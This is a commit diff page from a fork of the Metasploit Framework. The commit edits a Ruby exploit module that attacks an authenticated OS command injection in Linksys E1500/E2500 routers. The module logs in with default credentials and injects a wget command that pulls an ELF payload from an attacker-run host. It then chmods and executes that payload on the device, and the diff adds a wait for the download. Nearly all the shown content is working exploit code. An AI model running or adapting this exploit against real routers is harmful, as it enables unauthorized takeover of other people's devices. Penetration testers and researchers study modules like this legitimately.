forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
waiting for payload download on linksys_e1500_more_work
- Loading branch information
jvazquez-r7
committed
Mar 31, 2013
1 parent
cd8bc2f
commit 0f965dd
Showing
1 changed file
with
64 additions
and
59 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -19,17 +19,17 @@ def initialize(info = {}) | |
super(update_info(info, | ||
'Name' => 'Linksys E1500/E2500 Command Execution - Upload and Execute', | ||
'Description' => %q{ | ||
Some Linksys Routers are vulnerable to an authenticated OS command | ||
injection. Default credentials for the web interface are admin/admin | ||
or admin/password. Since it is a blind os command injection | ||
vulnerability, there is no output for the executed command with the generic | ||
payload. A ping command against a controlled system could be used for testing | ||
purposes. You could also start the telnetd on the victim or just use the | ||
bind or reverse payloads. | ||
Some Linksys Routers are vulnerable to an authenticated OS command injection. | ||
Default credentials for the web interface are admin/admin or admin/password. Since | ||
it is a blind os command injection vulnerability, there is no output for the | ||
executed command when using the cmd generic payload. A ping command against a | ||
controlled system could be used for testing purposes. | ||
}, | ||
'Author' => [ 'Michael Messner <[email protected]>', #Metasploit module | ||
'juan vazquez' # minor help | ||
], | ||
'Author' => | ||
[ | ||
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module | ||
'juan vazquez' # minor help with msf module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
|
@@ -39,37 +39,37 @@ def initialize(info = {}) | |
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ] | ||
], | ||
'DisclosureDate' => 'Feb 05 2013', | ||
'Privileged' => true, | ||
'Privileged' => true, | ||
'Platform' => ['linux','unix'], | ||
'Payload' => | ||
{ | ||
'DisableNops' => true | ||
}, | ||
'Targets' => | ||
[ | ||
[ 'CMD', | ||
{ | ||
'Arch' => ARCH_CMD, | ||
'Platform' => 'unix' | ||
} | ||
], | ||
[ 'Linux Mipsel Payload', | ||
{ | ||
'Arch' => ARCH_MIPSLE, | ||
'Platform' => 'linux' | ||
} | ||
[ | ||
[ 'CMD', | ||
{ | ||
'Arch' => ARCH_CMD, | ||
'Platform' => 'unix' | ||
} | ||
], | ||
[ 'Linux mipsel Payload', | ||
{ | ||
'Arch' => ARCH_MIPSLE, | ||
'Platform' => 'linux' | ||
} | ||
], | ||
], | ||
], | ||
'DefaultTarget' => 1, | ||
)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), | ||
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), | ||
OptString.new('DOWNHOST', [ false, 'The host to request the MIPS payload from' ]), | ||
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), | ||
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine (do not use 0.0.0.0)' ]), | ||
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), | ||
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), | ||
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) | ||
], self.class) | ||
end | ||
|
||
|
@@ -92,9 +92,7 @@ def request(cmd,user,pass,uri) | |
"traceroute_ip" => "" | ||
} | ||
}) | ||
|
||
return res | ||
|
||
rescue ::Rex::ConnectionError | ||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") | ||
return nil | ||
|
@@ -112,29 +110,23 @@ def exploit | |
# | ||
# testing Login | ||
# | ||
|
||
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") | ||
|
||
begin | ||
res = send_request_cgi({ | ||
'uri' => uri, | ||
'method' => 'GET', | ||
'authorization' => basic_auth(user,pass) | ||
}) | ||
|
||
return if res.nil? | ||
return if (res.code == 404) | ||
|
||
}) | ||
if res.nil? or res.code == 404 | ||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") | ||
end | ||
if [200, 301, 302].include?(res.code) | ||
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") | ||
else | ||
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") | ||
return | ||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") | ||
end | ||
|
||
rescue ::Rex::ConnectionError | ||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") | ||
return | ||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") | ||
end | ||
|
||
if target.name =~ /CMD/ | ||
|
@@ -151,9 +143,9 @@ def exploit | |
return | ||
end | ||
|
||
|
||
#thx to Juan for his awesome work on the mipsel payloads | ||
#thx to Juan for his awesome work on the mipsel elf support | ||
@pl = generate_payload_exe | ||
@elf_sent = false | ||
|
||
# | ||
# start our server | ||
|
@@ -163,7 +155,7 @@ def exploit | |
if (datastore['DOWNHOST']) | ||
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri | ||
else | ||
#do not use SSL ;) | ||
#do not use SSL | ||
if datastore['SSL'] | ||
ssl_restore = true | ||
datastore['SSL'] = false | ||
|
@@ -181,61 +173,74 @@ def exploit | |
datastore['SSL'] = true if ssl_restore | ||
end | ||
|
||
# | ||
# download payload | ||
# | ||
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}") | ||
|
||
#this filename is used to store the payload on the device | ||
filename = rand_text_alpha_lower(8) | ||
|
||
#not working if we send all command together -> lets take three requests | ||
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" | ||
|
||
res = request(cmd,user,pass,uri) | ||
if (!res) | ||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") | ||
end | ||
|
||
# wait for payload download | ||
if (datastore['DOWNHOST']) | ||
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") | ||
select(nil, nil, nil, datastore['HTTP_DELAY']) | ||
else | ||
wait_linux_payload | ||
end | ||
register_file_for_cleanup("/tmp/#{filename}") | ||
|
||
# | ||
# chmod | ||
# | ||
|
||
cmd = "chmod 777 /tmp/#{filename}" | ||
|
||
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}") | ||
|
||
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") | ||
res = request(cmd,user,pass,uri) | ||
if (!res) | ||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") | ||
end | ||
|
||
|
||
# | ||
# execute | ||
# | ||
|
||
cmd = "/tmp/#{filename}" | ||
|
||
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") | ||
|
||
res = request(cmd,user,pass,uri) | ||
if (!res) | ||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") | ||
end | ||
|
||
end | ||
|
||
|
||
# # Handle incoming requests from the server | ||
# Handle incoming requests from the server | ||
def on_request_uri(cli, request) | ||
|
||
#print_status("on_request_uri called: #{request.inspect}") | ||
if (not @pl) | ||
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") | ||
return | ||
end | ||
|
||
print_status("#{rhost}:#{rport} - Sending the payload to the server...") | ||
@elf_sent = true | ||
send_response(cli, @pl) | ||
end | ||
|
||
# wait for the data to be sent | ||
def wait_linux_payload | ||
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") | ||
|
||
waited = 0 | ||
while (not @elf_sent) | ||
select(nil, nil, nil, 1) | ||
waited += 1 | ||
if (waited > datastore['HTTP_DELAY']) | ||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") | ||
end | ||
end | ||
end | ||
|
||
end |